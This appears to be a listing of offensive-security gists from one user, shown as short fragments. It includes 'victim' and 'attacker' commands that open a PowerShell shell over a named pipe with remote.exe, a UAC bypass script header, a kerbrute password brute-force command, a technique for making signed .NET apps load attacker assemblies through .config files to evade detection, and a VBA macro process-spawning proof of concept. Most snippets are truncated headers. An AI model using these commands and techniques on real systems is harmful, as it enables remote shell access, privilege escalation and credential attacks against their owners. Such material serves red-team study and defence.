clavoillotte

# Command to run on the victim
# This will establish a PowerShell listener over the "pwnme" named pipe
remote /S "powershell.exe" pwnme

# Commands to run on an attacker system - if remote.exe is desired on the client (versus developing your own SMB pipe client)
runas /netonly /user:[Domain|Hostname\Username] "cmd"
remote /C [Hostname\IP] "pwnme"

clavoillotte

using System;
using System.IO;
using System.Text;
using System.IO.Compression;
using System.EnterpriseServices;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
 
/*

clavoillotte

Import-Module NtObjectManager

<#
Function to kill all processes which are using a locked file.
#>
function Kill-FileLocker {
    param(
        [Parameter(Mandatory)]
        [string]$Path
    )

clavoillotte

# Powershell script to bypass UAC on Vista+ assuming
# there exists one elevated process on the same desktop.
# Technical details in:
# https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-1.html
# https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-2.html
# https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-3.html
# You need to Install-Module NtObjectManager for this to run.

Import-Module NtObjectManager

clavoillotte

using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;

/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause

clavoillotte

# These keyword values can be obtained with: logman query providers Microsoft-Windows-Kernel-Registry
[Flags()]
enum RegistryOptions {
    CloseKey              = 0x00000001
    QuerySecurityKey      = 0x00000002
    SetSecurityKey        = 0x00000004
    EnumerateValueKey     = 0x00000010
    QueryMultipleValueKey = 0x00000020
    SetInformationKey     = 0x00000040
    FlushKey              = 0x00000080

clavoillotte

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

clavoillotte

Let's turn Any .NET Application into an LOL Bin

We can do this by experimenting with .config files.

Many defenders catch/detect files that are renamed, they do this by matching Original Filename to Process Name

In this example, we don't have to rename anything. We simple coerce a trusted signed app to load our Assembly.

We do this by directing the application to read a config file we provide.

clavoillotte

' POC to spawn process with PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON mitigation enabled
' by @_xpn_
'
' Thanks to https://github.com/itm4n/VBA-RunPE and https://github.com/christophetd/spoofing-office-macro

Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Const HEAP_ZERO_MEMORY = &H8&
Const SW_HIDE = &H0&
Const MAX_PATH = 260
Const PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = &H20007

clavoillotte

using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;

/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause